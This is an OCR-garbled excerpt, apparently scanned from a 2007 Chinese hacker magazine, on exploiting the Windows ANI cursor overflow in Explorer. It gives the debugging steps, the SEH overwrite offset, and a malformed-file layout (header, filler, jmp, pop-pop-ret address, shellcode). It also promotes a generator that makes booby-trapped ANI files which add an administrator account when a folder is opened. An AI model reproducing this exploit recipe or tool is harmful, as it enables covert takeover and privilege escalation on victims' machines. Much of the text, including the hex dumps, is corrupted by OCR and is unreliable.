《黑客×档案》2007年第6期摘录:打开01lyDBG,选择“文件
-
如发现有乱码,请点击下面链接浏览原文
正文摘录:
打开01lyDBG,选择“文件”一“附加”,找到Explorer并将其附加进来,如图2。这时程序会被暂停,除了0llydbg什么也动不了,安下F9让程序继续跑起采,然后双i汀引,_r仔伺咐形aIll义什削日累。出制}了吧,别着急,看看:黾哪里锚了,使用alt+tab切回011ydbg,尔会看至4如图3所示的内容,但看走l来这次异常处理不是我们能控制均,按_F‘shift+F9继续异{}处理。就会看到如图4所示的情形:执行~氏AA八AAA时出现了非法访问(目|为AAAAAAAA这个地址是不可以执在÷的)。既然能够执行一LAAAAAAA,表示我们已经可以控制:】p了!溢出点的定位很简挚,看爿E栈,往下找直到你看到大量的A勾止,另t常处理地址的位置已!圣被标了出来一一0x0160ECl8(图5),而第一卟-AA的位置在0xol60E6C5,于是覆盖的长度=目标的AA位霞一开女f}的AA位置=Ox0160】£C18一O:K0160E6C5=Ox553。那么在ani文牛中,AA应该写到哪里呢?只要再觚『上文件头的长度0x58+0x553=)】:5AB,即第1452字节开女}的4个字节就可以控制eip。0046B∞11Rn舱日1}2日Rn勰R1?0+?。O0肆6e08S74^B17£F7m自a日1阼宁—6eO0450lOnnE虻n2a1raRC日A日1i}£悃E0046018ERRCB2自141Rf日a日1[?0日?000460287EE:c0in1日qRCea自1u?0J00046028RF阪船Bl00∞∞日0i,0….0.04600864F60S76ERRne301c竹u[’001946日38∞。000。。01n1日3日1….0700104604etRDinA自1口R≈q∞7B+'0々一u0【0啐604800∞0e0。nn,^自401….?00046050r^,^日4^1lqF,E04At,0’OO046058∞000000….Rq¨O04606e00000080D3FC0000…。鞭..80460∞0i0日00e026208日000…&?o04607e76005380∞80∞00u.S…..0.0460784E0i5Re000528日OeHOZ。.R?毋0耳608e98C0000日95Ce明00j.._..00斗608890080日00FFFFFFFFO日46090000000e00000∞000046098000000ee00o。e0oe0046e∞1900000002000000‘...e…旦0468船矗0000日∞72558目0e7..rU,图30945008?0+?000460085746R176lllF忡蕾00046010霄。用e00460i8[’0凡’00046020u,0一0004602800000000{’0....0046000d々v[々0084603800000000….0々00046840口R々q,n76+,07一v0e460480000∞。8日046050C626n4n1{?0’0O046日580000000900460600000000003FC0080.…黛..00460680l00000026208自000…&々0046070760050000000000000460784E015日0000E28自00HOZ..R,0046∞096C0B00e95C00000{,。_..O04608890Oe0冉00FFFFFFFFO046090000000e0000000080046098000000e00000000000460日0i900000802000000…自…004S0日8日00000007255e自∞々.。rU々┻┻┻┻┻图40RETURll00LIs[R0:.’?D‘3FE:fronLsE9000e自00第一个^^是且垃里开始韵000壁‘R:=§l:;“竹‘。引H∞州;异霹蔓【理瞳址;┻┻┻┻┻┻┻图5因此,我们可以使用典型的覆盖异常处理方式来进行溢出,畸形文件的构造格式为:/88字节ani文件头/1359个0xAA/jmp0(9090eb04)/Ox7ffal571/shellcode/。就这样,我们把异常处理地址覆盖成了0x7ffa1571,即popporlII┗┻┛retn的地址,触发溢出后程序去执行这个“异常处理地址”,就可以按照如图6所示的方式执行到shellcode。图6可能读者又要问了,这个溢出可不可以使用覆盖返回地址的方式来进行呢?答案是肯定的。而且覆盖返回地址的好处在于不会使Explorer挂掉(刚才因为我们覆盖了seh链,所以肯定会挂掉Explorer),就如同这个漏洞刚公开时流行的那款网马生成器一样,覆盖了两个字节的返回地址,由于不会使IE挂掉,网马使用了两个伪装成jpg的ani文件,提高了成功率。但是这里还有一个问题,我们的覆盖数据是从【ebp+3c】开始的,也就是说我们无法覆盖到当前函数的返回地址(【ebp+4】)的。我们覆盖的返回地址只能是上层函数的返回地址。在我测试时遇到了一个非常恶心的问题:我们的覆盖数据可以控制到eip,但这时却不能使用jmpesp指令来完成跳转,因为此时的esp并非指向eip后面的一个字节,而是要靠后一些(从当前函数返回到上层函数返回,esp肯定会有所变化),最糟糕的是这个位置的内容已经在前面的程序中被改变,我们无法控制。所以定位she儿code成了个问题,目前我还没有找到合适的指令来完成跳转。另外,这种情况下对shellcode的长度要求也很苛刻,要控制在l00字节左右。三、神功初成一工具才是王道上边讲了这么多关于ANI漏洞分析的知识,大家都听累了吧?睡着的小菜鸟们醒一醒,打起精神,下面开始发工具了。为了方便实战应用,我特地写了款生成器,界面如图7所示。这个工具可以自动生成畸形ani文件,实现在打开目录时自动添加一个管理员,用来提权可是很方便的哟。而且生成
阅读此文(图):
点击此处在线翻阅